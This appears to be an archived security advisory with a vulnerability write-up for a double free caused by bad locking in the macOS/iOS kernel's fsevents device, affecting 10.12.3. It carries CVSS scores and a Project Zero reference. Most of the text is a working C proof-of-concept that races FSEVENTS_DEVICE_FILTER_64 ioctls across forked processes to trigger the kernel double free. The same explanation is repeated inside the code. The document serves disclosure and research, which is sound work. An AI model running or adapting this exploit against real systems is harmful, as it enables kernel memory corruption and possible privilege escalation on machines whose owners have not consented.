macOS/iOS Kernel 10.12.3 Double-Free Due to Bad Locking in fsevents Device

2017.04.05
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl: case FSEVENTS_DEVICE_FILTER_64: if (!proc_is64bit(vfs_context_proc(ctx))) { ret = EINVAL; break; } devfilt_args = (fsevent_dev_filter_args64 *)data; handle_dev_filter: { int new_num_devices; dev_t *devices_not_to_watch, *tmp=NULL; if (devfilt_args->num_devices > 256) { ret = EINVAL; break; } new_num_devices = devfilt_args->num_devices; if (new_num_devices == 0) { tmp = fseh->watcher->devices_not_to_watch; <------ (a) lock_watch_table(); <------ (b) fseh->watcher->devices_not_to_watch = NULL; fseh->watcher->num_devices = new_num_devices; unlock_watch_table(); <------ (c) if (tmp) { FREE(tmp, M_TEMP); <------ (d) } break; } There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a), assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this. This leads to a double free, which if you also race allocations from the same zone can lead to an exploitable kernel use after free. /dev/fsevents is: crw-r--r-- 1 root wheel 13, 0 Feb 15 14:00 /dev/fsevents so this is a privesc from either root or members of the wheel group to kernel tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 (build with -O3) The open handler for the fsevents device node has a further access check: if (!kauth_cred_issuser(kauth_cred_get())) { return EPERM; } restricting this issue to root only despite the permissions on the device node (which is world-readable) */ // ianbeer #if 0 MacOS/iOS kernel double free due to bad locking in fsevents device fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl: case FSEVENTS_DEVICE_FILTER_64: if (!proc_is64bit(vfs_context_proc(ctx))) { ret = EINVAL; break; } devfilt_args = (fsevent_dev_filter_args64 *)data; handle_dev_filter: { int new_num_devices; dev_t *devices_not_to_watch, *tmp=NULL; if (devfilt_args->num_devices > 256) { ret = EINVAL; break; } new_num_devices = devfilt_args->num_devices; if (new_num_devices == 0) { tmp = fseh->watcher->devices_not_to_watch; <------ (a) lock_watch_table(); <------ (b) fseh->watcher->devices_not_to_watch = NULL; fseh->watcher->num_devices = new_num_devices; unlock_watch_table(); <------ (c) if (tmp) { FREE(tmp, M_TEMP); <------ (d) } break; } There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a), assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this. This leads to a double free, which if you also race allocations from the same zone can lead to an exploitable kernel use after free. /dev/fsevents is: crw-r--r-- 1 root wheel 13, 0 Feb 15 14:00 /dev/fsevents so this is a privesc from either root or members of the wheel group to kernel tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 (build with -O3) #endif #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <sys/ioctl.h> #include <sys/types.h> #include <pthread.h> #include <unistd.h> typedef uint64_t user64_addr_t; typedef struct fsevent_clone_args64 { user64_addr_t event_list; int32_t num_events; int32_t event_queue_depth; user64_addr_t fd; } fsevent_clone_args64; #define FSEVENTS_CLONE_64 _IOW('s', 1, fsevent_clone_args64) #pragma pack(push, 4) typedef struct fsevent_dev_filter_args64 { uint32_t num_devices; user64_addr_t devices; } fsevent_dev_filter_args64; #pragma pack(pop) #define FSEVENTS_DEVICE_FILTER_64 _IOW('s', 100, fsevent_dev_filter_args64) void* racer(void* thread_arg){ int fd = *(int*)thread_arg; printf("started thread\n"); fsevent_dev_filter_args64 arg = {0}; int32_t dev = 0; while (1) { arg.num_devices = 1; arg.devices = (user64_addr_t)&dev; int err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg); if (err == -1) { perror("error in FSEVENTS_DEVICE_FILTER_64\n"); exit(EXIT_FAILURE); } arg.num_devices = 0; arg.devices = (user64_addr_t)&dev; err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg); if (err == -1) { perror("error in FSEVENTS_DEVICE_FILTER_64\n"); exit(EXIT_FAILURE); } } return NULL; } int main(){ int fd = open("/dev/fsevents", O_RDONLY); if (fd == -1) { perror("can't open fsevents device, are you root?"); exit(EXIT_FAILURE); } // have to FSEVENTS_CLONE this to get the real fd fsevent_clone_args64 arg = {0}; int event_fd = 0; int8_t event = 0; arg.event_list = (user64_addr_t)&event; arg.num_events = 1; arg.event_queue_depth = 1; arg.fd = (user64_addr_t)&event_fd; int err = ioctl(fd, FSEVENTS_CLONE_64, &arg); if (err == -1) { perror("error in FSEVENTS_CLONE_64\n"); exit(EXIT_FAILURE); } if (event_fd != 0) { printf("looks like we got a new fd %d\n", event_fd); } else { printf("no new fd\n"); } pid_t pid = fork(); if (pid == 0) { racer(&event_fd); } else { racer(&event_fd); } return 1; }

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1129


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